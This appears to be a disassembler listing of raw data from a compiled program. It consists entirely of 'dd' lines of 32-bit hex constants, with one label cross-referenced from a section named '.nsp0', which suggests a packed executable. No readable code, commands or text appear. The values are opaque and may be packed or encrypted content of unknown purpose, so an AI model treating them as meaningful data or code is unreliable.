dd 68A324BAh, 514002F3h, 8FC38DC4h, 356DB619h, 36A945B6h
dd 36D52202h, 57DF17CCh, 90CF7171h, 3A4550DAh, 302478DDh
dd 3EEE2E42h, 681D49C6h, 53766748h, 0A3083396h, 9B2E9629h
dd 0F4714E43h, 0B2EB6050h, 6A722A89h, 6DB8D714h, 85E5BBEAh
dd 0B6C16EE2h, 1EDD8057h, 0A589EDCEh, 9988829Eh, 0AB5621CFh
dd 6FD5A6CCh, 7AF4901Dh, 0A0119AC2h, 9D0C1090h, 0C577ADD6h
dd 0EA59A48Ah, 0B9BCA094h, 0BD860668h, 0BAB8BCE6h, 291CDE88h
dd 0D5DEAE3h, 62C601BAh, 8EC74F87h, 0C200DFAFh, 0FEDC34CFh
dd 939D673Ah, 0DE7EBDAh, 0F2C582BDh, 58640C1Ch, 0C9DFBC23h
dd 0F4FB634Ch, 7BBB1AF3h, 0B3F224F2h, 28EE421Bh, 59CA21B8h
dd 0C295198Bh, 0C1EB4A7Ch, 0D77AB5F5h, 536EE244h, 0A4C9E71Eh
dd 30CB3856h, 0ECA51CF8h, 0ED5D9465h, 10CF3B3h, 0EA6F951Fh
dd 0B2D6FF4Eh, 290F0387h, 81850F82h, 0E69F77A8h, 45D094FBh
dd 0ED48D111h, 6CB9DC4Ch, 40363ABEh, 36AC640Eh, 0D36A9739h
dd 0B8B72A3Fh, 5426D036h, 3A56CB46h, 7C731FC6h, 0A2AFF5EEh
dd 858D2218h, 24854EE4h, 9AAF398Fh, 930F98E8h, 0D3800480h
dd 0DF381486h, 194A092Ch, 0AD38CB0Dh, 0CFCD8E81h, 4225D79Bh
dd 9C525B41h, 414CF587h, 8E61C8Fh, 8422CC96h, 4848DD04h
dd 12E426EFh, 0EA7D09BAh, 7C12E1C8h, 0AAC69D57h, 9EDCB09Ah
dd 0C2CB78C6h, 0F497150Ah, 564D5948h, 0A6F5E519h, 37509736h
dd 3D1BA1D4h, 0F8A3F7F0h, 889C695Bh, 0DC78A22Dh, 804ABA51h
dd 5AA125F9h, 0EE7FF842h, 0D4463CE9h, 20AD8373h, 2D462DFEh
dd 313033D5h, 0AF4C13E8h, 155B0629h, 7AB6CB7Ch, 8317D524h
dd 1659B0B4h, 7E5F09C4h, 8C434D6Fh, 4B8F7B0Dh, 4A075361h
dd 0E7BDCB7Dh, 3FAC2D78h, 1F8C5EBFh, 0B900BFE6h, 41C43E95h
dd 23675522h, 718B9DA3h, 748E5453h, 7AE78E98h, 503C4287h
dd 80E5C09Fh, 0A9989B4Eh, 0DACEDACDh, 0D5F7AA4Ah, 0A0CABA20h
dd 50187D0Bh, 364B24CBh, 0AF44BA2Fh, 0A808D505h, 19FA5B5Eh
dd 9CF52CCAh, 0DDEE8A8Fh, 0F5AD7FA7h, 0D29E612Ch, 77A39E26h
dd 14ACD8CFh, 0B8338925h, 7E0BBF10h, 0FC85E93Bh, 0CB7ABEFBh
dd 0B3322A3Bh, 0F269E291h, 0B698130h, 860EF784h, 0BD5791FBh
dd 97771BD9h, 892017DDh, 0F22E9E25h, 0D9248B46h, 0ECE93917h
dd 99815283h, 13F8C43Bh, 8BCD63CDh, 0BC1A3D54h, 99157F47h
dd 6BDB6CCDh, 37D0C8CFh, 9E55507Ah, 0BC091526h, 0B83231ABh
dd 0B28925E1h, 537D580Ah, 2F23C8EBh, 5C7512B4h, 75028AE5h
dd 39768F3Fh, 432E95D4h, 3B32CF66h, 77D58A36h, 0E9B20130h
dd 0C6D9E3EBh, 5185EB62h, 8343F7A2h, 0F03F85ACh, 998CD07Eh
dd 96D64984h, 42D8A1B7h, 44D56779h, 37F290F9h, 0F6FC1533h
dd 3EE8FD6Eh, 4BE3AF32h, 0AB56975Eh, 0FAF743F5h, 41560226h
dd 7D479388h, 7AA76521h, 0BD56267Bh, 0F3487D7Ah, 0AC0542E7h
dd 6E4F1B25h, 2A6464CAh, 3B8393D1h, 97D2B6A1h, 7B451252h
dd 29980050h, 7DB72443h, 4A84F8Ah, 4DA1CA85h, 11104A3Ah
dd 5281F92Ah, 272CBB8Fh, 0F648E0CFh, 0C3214E7Fh, 18214917h
dd 0B0B58975h, 0D8779A1Ch, 6A286292h, 0D5D31FF8h, 0BF44DB17h
dd 0F2718C86h, 3DEE6692h, 4B30EFA6h, 3ABAA92Ch, 5C59D458h
dd 34BF35B9h, 5987EC88h, 9C96F843h, 6ABDA34Eh, 853F230Eh
dd 0C3FFB253h, 437AF365h, 76AE6520h, 0FBCF744Ch, 0A6F73A65h
dd 30C61FA6h, 99774C6Fh, 53F1278Ch, 0FEE27D04h, 0D7407870h
dd 1EA6E456h, 0A21C7F31h, 0F1B05434h, 6DA2F8E5h, 0A7317DD9h
dd 0B4FE63B3h, 0E8B63E50h, 0F392FF16h, 580B8EE8h, 0DC8A8767h
dd 4ABE9B5Bh, 21004BB9h, 0C123C600h, 0A1ABCAFEh, 0A1F729D5h
dd 0E3BBD546h, 0CCD53DB9h, 2D2C8C1Dh, 0C03CBEFAh, 0C745140Ch
dd 0AD0532C2h, 0A76D0F86h, 0E13B4FB4h, 13823482h, 6A5669C2h
dd 4F9DBB7Fh, 5A969258h, 523B6BC6h, 0B18D2543h, 4157DAB3h
dd 7EF91EC3h, 30C6D255h, 0F5A593DCh, 25A72CFh, 27683A57h
dd 856EE39Bh, 0D9501B1Bh, 0C69FD0F2h, 7E504502h, 1E7E2FB3h
dd 5154F889h, 4DB5D33h, 22A5E82Eh, 0A7E1562Fh, 49785211h
dd 0FFF2683h, 823D6877h, 0C9201AE9h, 0FCE19793h, 471F175Ch
dd 0B0213A14h, 5BDBAD78h, 0B5B98CCAh, 68EF718Bh, 6392D5BAh
dd 0CCBD55C5h, 45961F3Dh, 0CE317374h, 8E9ADE1Ah, 761C9A8Bh
dd 0ED01383Eh, 3889ED0h, 23F6510Ah, 9C5E3F71h, 21A35DC5h
dd 0CE279C5Eh, 0AB200E20h, 5522033Ah, 84FE2617h, 4FC9667h
dd 53B65BFBh, 0BDB9A96Bh, 872A0CC8h, 38EFC8C0h, 0F95E9B15h
dd 0FA32FAF4h, 5FF20E4h, 0A83D16BBh, 55E376B5h, 5FD5735Dh
dd 2073D4AEh, 0AEA0B9CCh, 3CAD1656h, 5DB04718h, 0EE299893h
dd 7E4D8EECh, 21C368F3h, 799FB31Eh, 3229AA5Fh, 0ABB35C35h
dd 0F57CDA1h, 5075BF76h, 751AD23Eh, 78BF28B0h, 39374C8Ah
dd 4C394089h, 0AE19C138h, 0A234C510h, 2CB9B385h, 0C17F12A0h
dd 0BDCF5D81h, 1C8AEDC9h, 0BDBD1779h, 41A2F182h, 3CD6AF8Eh
dd 2D1789F1h, 0B315826h, 4558DA0Fh, 249AEE0h, 701BF95h
dd 2B7BD603h, 8EB92606h, 95D32E89h, 22D457E0h, 342E6A47h
dd 6874D84Eh, 5B68707Bh, 0F3D88A20h, 469BF999h, 0DA477A15h
dd 0B149151Dh, 51466919h, 0BE18F202h, 0FCAFD113h, 0B655EA1h
dd 0BE9BC5FFh, 5998BFBAh, 0BC72FE16h, 71F5464Ah, 0D58AA362h
dd 0FC850639h, 0F2803558h, 0EF5F9877h, 854E81C4h, 4015B09Fh
dd 0A2BC2E9Ah, 2CA30E98h, 8CC4F765h, 0E1F92617h, 0DB9F14C6h
dd 670D2484h, 0B077E9D4h, 0D9FDB6Ah, 2C5A7087h, 0D2C082EAh
dd 762102B3h, 6A83A710h, 0FA63462Dh, 263AA560h, 20576701h
dd 0E7378CCEh, 87E9BD55h, 36DA0290h, 0EBF379BAh, 2686C14Dh
dd 771DCB89h, 0C9E0D400h, 329E8B77h, 51B6D4D7h, 0E15DFED0h
dd 0FBE5A2C3h, 2861FD20h, 6DE0C742h, 5D02680Eh, 703E9969h
dd 0FC57FBDAh, 6160A9EBh, 0EBB203ABh, 0A1D746D5h, 38741F8Bh
dd 0EAD1DBD3h, 7ABDB451h, 4695935Ah, 44358908h, 0A198733h
dd 0EDA2EEC1h, 3CBBE31Ah, 0E3F57BA4h, 6983C12Eh, 0F3F5CB46h
dd 0BF757219h, 3A98D5B9h, 690C3591h, 444D2FC9h, 0E33FB684h
dd 0B50BAA4Ah, 1CD64386h, 4152517Bh, 0CC6229B4h, 1EDD67A1h
dd 1D439C44h, 0A3BF5EDFh, 16E63A9Ch, 961A640Dh, 79667F56h
dd 9DD7FDA9h, 0C54075D1h, 1330DCCh, 0B222A981h, 0E38CC864h
dd 0AE7DB552h, 1961FEB3h, 7F1F8470h, 0A71D3EC6h, 0AEEA7169h
dd 4B1BDE2Ah, 0C7EE733h, 46AC6E0h, 0A6561121h, 0CD4F2FDCh
dd 0C89A7A3Ch, 0A99964C8h, 0BDE48747h, 0ACFC02FDh, 0D6731F75h
dd 91D8C09Ah, 8DA0B1FFh, 79D40CAFh, 1DC0A457h, 56E90E3Bh
dd 0AD41B28Eh, 4831616h, 0A12AFC74h, 5671DBE5h, 0C35EA900h
dd 5758832Eh, 0E851DBADh, 0EE2FB9FFh, 8793E1E2h, 2A3FF55Ch
dd 391AA7B1h, 0D8EEB919h, 11B4FD8Ah, 8D16964h, 99E45A55h
dd 7CEAC40Ch, 35625457h, 74464666h, 0BD308BBAh, 6D04EF4Dh
dd 6E33D2E6h, 0BD3730CEh, 6DB71B49h, 0C9DA5F48h, 0E417F3D6h
dd 0D9C82310h, 0C3B7778Eh, 0C466FFFEh, 0BD71C83Fh, 73CEEE92h
dd 84208EB3h, 32A2085Fh, 62961425h, 0F020DA4Eh, 0B1503FE0h
dd 3AF43859h, 0AAAE6E5Eh
dd 0C2EA086Ah, 29E8B1C9h, 21250506h, 0A3A7C06Ch, 0AC67A89Eh
dd 0DA5312E7h, 0AD2CD0B5h, 45B62D6Bh, 0E062683Ah, 0C3C7B0DBh
dd 0E83108B8h, 0AF747F21h, 2FCB8Bh, 0A35F9F55h, 0CD041130h
dd 6BC42EE5h, 0F27A21C6h, 350F9346h, 9FFF7A42h, 0A572ED40h
dd 2F0D9551h, 247B329Eh, 4E57A477h, 36A9658Bh, 0E8FA867Bh
dd 32E409FBh, 570AB7EEh, 3C99C1A9h, 66BC50ECh, 0CA134EB2h
dd 5E210878h, 0EDF6392Eh, 9614EB64h, 679D8AD4h, 7662FCB1h
dd 8E08F5DFh, 8CC9214Bh, 0E8D68358h, 56C11BF7h, 6511B37Ch
dd 557436B0h, 163A2E69h, 49384DEh, 5DF46441h, 0B268DB2Dh
dd 35832691h, 786FF474h, 9C5ADA86h, 0F6C80241h, 0CCA1BD90h
dd 0CD9A825h, 0EC531D01h, 0B962E566h, 577C2955h, 4F54B861h
dd 2750F949h, 12D18109h, 497F24CDh, 571E5D54h, 0C6369D23h
dd 0E57F700Eh, 0DD543A4Ah, 57077DCEh, 0B775F7C4h, 0A0A3949Bh
dd 0B65B40C6h, 919E8BF3h, 0E23C6803h, 0EEFEFEFCh, 18081F5Dh
dd 73C28081h, 84FAFE07h, 0AC671037h, 6D6905E6h, 0C19209F8h
dd 37488721h, 0EA06D9E0h, 0BCDA325Fh, 0ABF21B7Eh, 0B751FD39h
dd 0DF4B6FB6h, 9E2F14C8h, 758B57E0h, 7585FF11h, 285062B2h
dd 72060601h, 0BC92D526h, 1677B767h, 6AAD4CB9h, 0B54D022Ah
dd 116A7A48h, 0E8A0FDC7h, 0C6D18618h, 35A27190h, 0DA2C64DFh
dd 81326374h, 2CAE3BE3h, 4C4F0878h, 67409441h, 43E75D0Bh
dd 0ECA342A6h, 9A787595h, 8EED5F67h, 0D6962A6h, 140BE645h
dd 28049F4Eh, 9B5D3D80h, 4EE5743h, 2D4EB096h, 0B3321F1Dh
dd 0F4E6A639h, 0BF31266Dh, 7C5FCEC9h, 27FF6721h, 4708D056h
dd 0ACC7A6EFh, 1ED14C3Eh, 78B4B20Bh, 1D3FD80Ah, 0B86BB53Ch
dd 81CD60EBh, 4E3D07Fh, 0A5804D5h, 16F2E38Ah, 0F2178E35h
dd 0E8D744DCh, 0D9232B2h, 2C363D5Ah, 0DAA7B754h, 5FDCCB23h
dd 0A37841DCh, 68351B87h, 0B0524C4Eh, 4C54D63Ch, 3A47C8BFh
dd 0EC36962Fh, 8A8D31A9h, 1DE5669Ch, 9455CDCCh, 0EE5E4E42h
dd 17327891h, 3A16A276h, 28F78678h, 0D46427CFh, 313D4422h
dd 0E116BFE1h, 0D19EC771h, 1BD6DEE1h, 45DD23A3h, 9C055455h
dd 0F0BF5FA1h, 314FA332h, 4022F751h, 329F335Ch, 0DBD1CF49h
dd 0A115CC78h, 623A527Bh, 0C7BB7EF9h, 60A6D78Dh, 76DAD33Dh
dd 555B80D4h, 0B191E08Dh, 0C95FE7E1h, 23E04174h, 0C9C82110h
dd 0B20F6C8Eh, 35D4F97Bh, 9208C965h, 0C966C75Eh, 3392F1A1h
dd 5C7B5D58h, 0DE3A9D58h, 0AD95C1CDh, 0DE4E4049h, 7F95680Ch
dd 8E007B4Ah, 0BC1BC0E2h, 0FE65D0DFh, 0DE3D10DFh, 3237CB58h
dd 5C2EE0Bh, 16A711BAh, 0DAA91B95h, 0A4AF8899h, 0A6412B99h
dd 0B880D4B3h, 2EFEE0BEh, 0DE7DEB2Eh, 0D661322Bh, 0E17DF7A8h
dd 0FA055D8Ah, 86BE6883h, 38416F0Fh, 56F9B653h, 5216FF96h
dd 0FC8ED191h, 0FC7E9ACAh, 652A69AEh, 0A4F8CBEEh, 0E52579E5h
dd 0B217332Bh, 0AAE825C0h, 1078B351h, 89E242DDh, 9E0C2200h
dd 0F8E481A4h, 9B27C3E0h, 75009558h, 0D0274A0Bh, 97D48120h
dd 390DF116h, 0A54692F9h, 6178BACEh, 0F092E35Ah, 670D6370h
dd 2574BC85h, 7F2487C8h, 36902534h, 7EAD7A73h, 0BE860785h
dd 0AD033575h, 0DC8C0019h, 318C3445h, 0A531561Fh, 8568AA02h
dd 5D709626h, 3F8CAA5Ch, 0A97E6179h, 6673ECFBh, 4E6A1C86h
dd 746C4B6Fh, 0B4406174h, 0B2870B2Dh, 520398DBh, 0E0B029Ch
dd 57F36A3Fh, 1CD7D5F1h, 1EF167AFh, 0EDBD0EDAh, 0DB7192A4h
dd 4E57D460h, 63E0CE5Eh, 4CFF4959h, 342FC7FCh, 0E969F778h
dd 0DDD9CCDEh, 2F570A7Dh, 0DBF6FF00h, 0EC57ABBBh, 0A7D48294h
dd 0AF06D327h, 16FC19DCh, 5B851F6Ch, 0B9373EC9h, 0F0CDD163h
dd 9C517920h, 0F55CF276h, 141A541Fh, 2F18BFD2h, 0E009E59Fh
dd 45933CDBh, 0D8093EFFh, 851E9E4Ah, 0CAADAD19h, 5F5E129Dh
dd 0CBE1D25Eh, 97D2A158h, 8CAA5B3Ah, 0EA898F5Ch, 0AA4F2579h
dd 7EC43786h, 0C96A5FADh, 2D81AFD8h, 41613DD3h, 0D53224A5h
dd 0A444C38Dh, 6663A5D1h, 45010802h, 0D962BE12h, 740D6257h
dd 865FF711h, 0BA66778Bh, 35CE5ECBh, 899D81Fh, 0AE9FF325h
dd 0DB50DF5Dh, 4A099EFh, 3FC8F043h, 62E80B28h, 3E086EEBh
dd 539418h, 15BF0824h, 0DCBD6350h, 0AACD10B7h, 0F1BCC3DCh
dd 99574908h, 6582E3EBh, 0A97627D6h, 0B3D26400h, 0F856E6AAh
dd 28F4DD9Ah, 0A720738Dh, 4149DD7Eh, 4A2B618Bh, 8D1917DDh
dd 98D2EB18h, 5D2E008h, 0FC9C2341h, 0F68971B7h, 0B119B711h
dd 0D1BA30AFh, 8418486h, 0C88A5927h, 3679858Fh, 0F4EF42A5h
dd 0D3AE3E98h, 514AE549h, 95E7A696h, 0CBBCDF39h, 2419BF95h
dd 99D4CDF2h, 88FA7E8Fh, 153B2EC6h, 0A84D0576h, 45D4C07Bh
dd 0DBE6183h, 49A30AC5h, 41372A76h, 7EAE9A8Ch, 46E4E432h
dd 0CB0B713Eh, 258E00FBh, 6F5AEC83h, 883F5E02h, 1353AAEBh
dd 0E6EBC8CDh, 53AAFAA1h, 3C563F0h, 0D1CBA583h, 8E40A49Ah
dd 1E8AB351h, 6104BFBh, 9FA8DBC6h, 0C3CDE02Ah, 5E91FC1Ah
dd 0E94FC195h, 9E975C74h, 4A29E1D9h, 15E72291h, 65E0497Ch
dd 380A5521h, 0EDAFD595h, 0D300A207h, 17154ED3h, 36AAA021h
dd 8F06A5DEh, 0BFA4E5BEh, 8CC2162Bh, 0B6FB561Bh, 0D85E6697h
dd 2A2DCEFBh, 0B8D3B62h, 6709A69Ch, 5EFA6E44h, 0EC6052D6h
dd 0DABD0E19h, 2D58701Ch, 0CE14F6AFh, 24E272Eh, 20F6D5D1h
dd 1FF13EAEh, 0A1969580h, 43989A29h, 7B19F573h, 1FAAD41Ah
dd 0C6EF5A77h, 67DC2944h, 56C40EE9h, 962F51C4h, 18721758h
dd 166B9BCFh, 2FA75470h, 631EE3B2h, 0BDE8EB18h, 0EE26DE57h
dd 0DF201CACh, 0B170A908h, 36A5AC49h, 0C6F170CFh, 0C5765BE1h
dd 2B08C2B6h, 99DD2153h, 25B56DBEh, 209D93D0h, 4DAEA04Eh
dd 0E9EC6050h, 1CE8456Eh, 0D04E0492h, 86709A9h, 79BAC3B5h
dd 0BE3ACA4Eh, 37677C2Bh, 0DC88E90Dh, 0C0BBA525h, 0AD04D922h
dd 6B9A0783h, 0D8E0DAE3h, 45112211h, 2813CE92h, 8B816829h
dd 5EFBFB84h, 5BDCB9D7h, 2246EFA6h, 0C1ABEAF0h, 0EF04EA3Eh
dd 197C13E1h, 6D349C0h, 7FF55917h, 0F706EB77h, 57FAACEFh
dd 0E98E0554h, 0AB08C7F0h, 343709Ah, 6908F95Ch, 8E04111Eh
dd 91B70FF5h, 0CD3E2627h, 31A64816h, 3C313732h, 0A2731499h
dd 2DE91CABh, 0CA0A1560h, 8659F9F0h, 0B33675BCh, 1561B1E9h
dd 52EDC2Fh, 7006A7ECh, 212C5653h, 0DB88D33Dh, 13D0F949h
dd 0CCFE486Fh, 3DBB1F60h, 7FBAF723h, 9F80D537h, 4B22A9C6h
dd 0AE45DAC0h, 0F88EB43Eh, 522FE807h, 9CC79B2Ch, 9F947B2h
dd 0AD892ADCh, 7AE8969h, 0DDE4171Ch, 0BB0763F4h, 0DFC4DAAAh
dd 0B23AF1F6h, 0A37E8F9Fh, 0BFCC8714h, 39EB6DF1h, 5C79EFC3h
dd 8D009EB5h, 33C363FDh, 0B4C98B4h, 0E4ACA486h, 931DC487h
dd 0BCC70716h, 0FC34FDCEh, 3ADC0CDAh, 0A28C7852h, 4FCA1C02h
dd 0C843786Bh, 1A2203FAh, 166C76CBh, 1BC36FE9h, 1F85E3B6h
dd 0E609FCFCh, 0F4929738h, 3DEB8DB1h, 0D66B8CEh, 85EBDEB0h
dd 45926A3Ch, 4B002120h, 6913B7Eh, 0AFCFAF61h, 0E1D5A89Ch
dd 1C076A6Fh, 0AAC9E85Bh, 629B5817h, 2930A449h, 0D2E86CE6h
dd 65E2BAEBh, 9E27269Eh, 3AA624B9h, 0E3152DA4h, 82026A4Dh
dd 50213ACFh, 824B091Eh, 8918116Dh, 55A93B0Eh, 46DB4B4Ch
dd 7F96B4F0h, 3F38F272h, 19376E40h, 0C664D00Bh, 66DA480Fh
dd 30680E03h, 6A89843Ch, 0E20CC1B6h, 1DB07D02h, 4F9F4282h
dd 0E43C940Bh, 5DC34C14h
dd 474B339Dh, 151DF004h, 8F08B748h, 0E4745EDCh, 0F6B15E98h
dd 0F1BD6491h, 0C3F2A6AAh, 0E1DA4649h, 6E113AAAh, 0A357245Ah
dd 96333B57h, 0E04E757Ch, 63131E8Ah, 9F7751B8h, 0DB05F32Bh
dd 0B42759CDh, 81EB5CBAh, 0BBDD0835h, 4FF92B3Dh, 0A319E413h
dd 0F6626D32h, 0DBB4D142h, 46BCB858h, 0E1646AEFh, 6A0061BFh
dd 871C6C06h, 0C722EF15h, 0D391218Eh, 0CAF9C659h, 5B7E2A53h
dd 41D0CD43h, 2570CDE5h, 0CCA242C2h, 946AA27Ch, 3208DD80h
dd 0B7FB001Dh, 0C9D43478h, 0C2416368h, 0C6895ED1h, 510EB4EAh
dd 0D74FA189h, 2FDF0C5Bh, 63725C0Bh, 0B62D09EEh, 4853E765h
dd 5A747BCAh, 88C78102h, 0C911DBB6h, 7CCA395Ah, 8DF4587Ch
dd 3137A6CEh, 2863A194h, 0A6702A15h, 91ED5ED1h, 0BE8D7BEDh
dd 318907F4h, 77E60E26h, 324975Fh, 621E38F0h, 9906CD32h
dd 25018047h, 1212FAF1h, 0AFBCA238h, 0BF25AEFBh, 537ADB3Ch
dd 79AC1E41h, 0BAA90153h, 80DC324Fh, 8849E133h, 0D19B676Ah
dd 2336C32Ch, 0F84B610Eh, 150C60E3h, 10FBB8C3h, 0AD0DE128h
dd 2D419861h, 4C6C01ADh, 72D538CFh, 0BD282D2Fh, 7A5B1B51h
dd 4F8AD678h, 0F87321C6h, 0D2ACFF0h, 20BB1E77h, 0BA755EDEh
dd 0D0F3CEC3h, 0B10061A3h, 0BB83F3CAh, 0F354D53h, 0A7780ACAh
dd 0A21BA093h, 0F842FF30h, 9012EC67h, 5AA63D1Ah, 34470330h
dd 1F40C3ABh, 5BBD0559h, 0ADB8309Bh, 0AE6713CCh, 0F6A625CCh
dd 0E89AFE38h, 0D223D934h, 0B77AFBAh, 3726F307h, 652DD46Eh
dd 0DE33F2B3h, 0A47D6840h, 1124D955h, 0A31EC5FDh, 312903B7h
dd 15E9CC2Bh, 0C1092036h, 21294317h, 265A597Fh, 1C85C94Bh
dd 512CF63Ah, 0BA80188Fh, 0E19A2DBBh, 7EDE9079h, 2206D394h
dd 7E866B73h, 3966C0CCh, 0DD4919B0h, 0B202A43Bh, 0C65E7787h
dd 4766A00Ch, 32AF3692h, 9ECBBAD7h, 0C2BE1E7Ch, 2ED78CCh
dd 69A7ECBFh, 549C7A8Ah, 27CE042h, 5A64C2CEh, 553E955Bh
dd 0CD83CF6Eh, 211B14E3h, 8BE951Fh, 26C3D200h, 93676B13h
dd 0D3608968h, 0D9B7017Bh, 155D446Eh, 0B1E58F8Dh, 65601CC6h
dd 0B42305ABh, 86D79671h, 47B680B9h, 0A61A0BCCh, 691F3F35h
dd 616C502Dh, 0BF164902h, 0C5CD5F98h, 687507CFh, 0F182E393h
dd 8BAA930Ch, 3EFE4D1Fh, 545DAC07h, 0F2C256E2h, 2C9F948Fh
dd 0A2F6E40Dh, 4D49858Fh, 0B9947624h, 5FA3B012h, 33147378h
dd 30846E62h, 1B4AC738h, 7FC36B76h, 5A90BD9Fh, 0F51E3E79h
dd 69B1DB68h, 0A4E70F39h, 0D6096927h, 0F6733687h, 0F56680EFh
dd 0E918F6F9h, 38D4E4EEh, 0B6BE12Fh, 0EB0B5544h, 844888Eh
dd 29FED6BCh, 294E104Ch, 0F8297AC1h, 8452B054h, 0B8886381h
dd 688657Fh, 4F2801ABh, 77A4340h, 0B1069DCBh, 117E45AFh
dd 2636E977h, 6912981Bh, 851415F8h, 9ACC6549h, 30F347CBh
dd 0E7F10A28h, 12F27431h, 586E83C6h, 5CE2F937h, 96A08A61h
dd 3DBC2B4Ch, 62776B2Eh, 7C6DF107h, 9EA80541h, 592FC415h
dd 18469385h, 4F5D1606h, 0F68EC6D4h, 0AEE4F077h, 7EAFA775h
dd 612C547h, 0BE35ED03h, 5CEFC7E6h, 0D0478C26h, 46B26FB4h
dd 5137C11h, 0B04D3C3Fh, 195BCAACh, 15E6598Fh, 0DD7A24DAh
dd 4A4FDABDh, 95FB15BAh, 5BE8FB8Fh, 0A4D05341h, 0BBB3D654h
dd 0B2F9E60Fh, 0FF549281h, 6F0E5FDCh, 0A29BD05Ah, 0F3ED4FA0h
dd 455DAC3Bh, 0F5367272h, 5C608CE7h, 38F0C793h, 76C896h
dd 0AC703BD6h, 236D4E97h, 0F8E3611Eh, 0FB1481D2h, 2847CD87h
dd 7B3F530Eh, 5EC12E7Fh, 0C59B4384h, 7CB2BDAFh, 0CEF95974h
dd 0EC76BABAh, 0BCE7281Ah, 31BF2B8Ah, 0F9025086h, 72EC9615h
dd 542489B1h, 2422300Bh, 0AB3251BAh, 923DB7Fh, 0C5E1F7C0h
dd 0D66238F0h, 0D834EA3Dh, 0CE24A415h, 7914211Dh, 7E234483h
dd 0FADC909Bh, 9343900Ah, 416EAFEDh, 616CE6E6h, 1D30AE42h
dd 0DFCCA80Ch, 0A36A0B8Bh, 98652D8Fh, 0CA3C047h, 91135CFBh
dd 46FEC32Eh, 7703AD1Fh, 1E3BD789h, 4CC28E95h, 5CFA4AE3h
dd 0E51656BAh, 252098BBh, 0C42C4CA2h, 1795C78Dh, 683558CAh
dd 0C3DB52D4h, 64416E6Ch, 0CDB2AC10h, 42E52988h, 110CC21Eh
dd 63498B08h, 0F53EC788h, 0C8F68601h, 712ED0C4h, 53706970h
dd 4C40FDC5h, 0E71FFF4Dh, 0CCB31258h, 7104DAF6h, 2EBFC587h
dd 1CB49EF2h, 84A46861h, 212380EDh, 3A0BE2CBh, 33EFFCE2h
dd 0E7D7F676h, 0EAD0080Ah, 88BF2D59h, 1C7BABB7h, 0A84E4537h
dd 0D4CBD1E4h, 6E63FE00h, 14C0579Eh, 0E052DBBDh, 378D1D49h
dd 8F8AA404h, 91C33CCBh, 0E4B0C302h, 0C5DE1961h, 363E2235h
dd 0E59402ECh, 6AFB34D3h, 272935CCh, 0E7524AE0h, 5216A34Ch
dd 22C2E690h, 0E37DCF6Eh, 752E072Eh, 11718942h, 7C7168DAh
dd 6617B47Dh, 67252B81h, 3F712410h, 0C4B72A5Dh, 0D9D1ECBh
dd 0FD33E5D5h, 0D4DA0A39h, 90F9E0AFh, 1C2A7D17h, 0AF5C3582h
dd 0A5D586F2h, 68715604h, 411CE0C8h, 125F1FD6h, 772B1BB7h
dd 7A991C31h, 68776EB6h, 3D1AA433h, 0EC61C156h, 66EE7DEDh
dd 98597EABh, 0BBC1B1B3h, 9883ECEh, 0BEA96C86h, 2C08C234h
dd 0C83A4731h, 38509857h, 46D4895Dh, 2CBB469Fh, 3CE7FC23h
dd 4EAF68A4h, 9D051AAh, 0EF2F2DDDh, 0D5B804B9h, 0A635FA5Dh
dd 0BCEA0206h, 3B0347AFh, 0C9C05F3h, 347226C1h, 0BABE53Ch
dd 903643FCh, 2CC27F25h, 0A2419458h, 0AFDD05E7h, 0D5E1F990h
dd 93998D0Ch, 9A34D6D1h, 0E734AEB2h, 8B5890E3h
dword_49005C dd 596331AAh, 0A5B828F9h, 8B0F0429h, 0CADE5F14h, 0B349AB11h
; DATA XREF: .nsp0:off_4255FCo
dd 0B8F81F0Fh, 0FD35AB27h, 0C82F9C7Eh, 0A9727538h, 1F3EEBE7h
dd 0E926E44Dh, 7BF65DF7h, 4672E5Fh, 0EB6F528Bh, 1315340Ah
dd 7A5B34DFh, 4B1B34E1h, 0ED12C54Dh, 7EC06AEDh, 3035D6A5h
dd 6FC0C226h, 61C4C21Eh, 0E02D9B60h, 0ED56813Eh, 99C572A3h
dd 7B2805C4h, 0A8101048h, 0C8A1C84Fh, 59BC9F11h, 0AF9A637Ch
dd 99D724A0h, 528ED733h, 68660E65h, 0B7288335h, 1930CE06h
dd 0A383D0A6h, 220DD058h, 65ADBB83h, 0F0B4E163h, 0D90BF088h
dd 6921BAF2h, 14F04C58h, 31848B19h, 0EE02A830h, 0F79667B5h
dd 2423D822h, 626A230Bh, 0FF796D3Bh, 0EA2528E5h, 582D88F5h
dd 0F3C0D414h, 0F4D6B5Bh, 4F92E0E8h, 743EE97h, 5CEF3229h
dd 1AA05F2Ah, 8768C9A7h, 4CCA823Fh, 5132FD8Eh, 606BFACFh
dd 96071653h, 0D478FC62h, 0F15871FAh, 30C2A8A4h, 0B55141CEh
dd 27858D3Ch, 9956CD52h, 208FD8E4h, 2936BA2Ah, 59296E89h
dd 0C5937081h, 59CD9B31h, 0DE6E273Ch, 0AD86409Ch, 0CC480373h
dd 13AB5672h, 457695C8h, 8D23D0B0h, 0D9AD9448h, 0B5235BC6h
dd 0F2BC9468h, 0AF6C7A4Ah, 3D91C13Bh, 94DE44B9h, 0FE88886Fh
dd 0A2F1DACEh, 4194A967h, 0CD2A7EF4h, 0B928431h, 0EAD92A48h
dd 0AB574592h, 9F96680Fh, 52E9ADA7h, 38A34E8h, 0DC11FD64h
dd 56B61607h, 833F4186h, 55A64F28h, 0D9800CCBh, 736808F4h
dd 71ACED4Ch, 0FCEF7F93h, 0AB32DACAh, 0D0B8FEA8h, 6F0E4B15h
dd 0AB1824D7h, 0EC8E219Ah, 337596D8h, 14D752E3h, 0B67364ABh
dd 7D4140E8h, 0B2482A84h, 0C80FC164h, 49947F7Bh, 0B71E2E75h
dd 27FC3522h, 6B869C90h, 3B29290Dh, 5693FE82h, 9D944117h
dd 36018341h, 9DE9F363h, 0DAD6EDBAh, 0C60ECEE0h, 0F4AC4EEFh
dd 55163FBDh, 0A312C449h, 0C6D0007Fh, 5196CCCAh, 23590779h
dd 2D60E874h, 8250E877h, 0CA8CF45Bh, 8E683296h, 8EE5AD28h
dd 0D938F463h, 8F8A5BECh, 882DDAF5h, 0CF813E30h, 0CBB62F65h
dd 829AA347h, 53D9D245h, 29233921h, 0E1F26A77h, 7F762AC8h
dd 2161FD6Bh, 0ECA12E67h, 2AE47DDh, 0A067870Eh, 508D0F25h
dd 0A18BE596h, 9D21ADCDh, 1255F9E0h, 0FE4529FFh, 889BF47Fh
dd 0EEF9A95Ch, 4BFF5442h, 73F1F142h, 241B3DEh, 8255260Ah
dd 0DFCFFF19h, 1B3EFE6Eh, 8E62D9E9h, 9AADFEAFh, 1DCBD37Dh
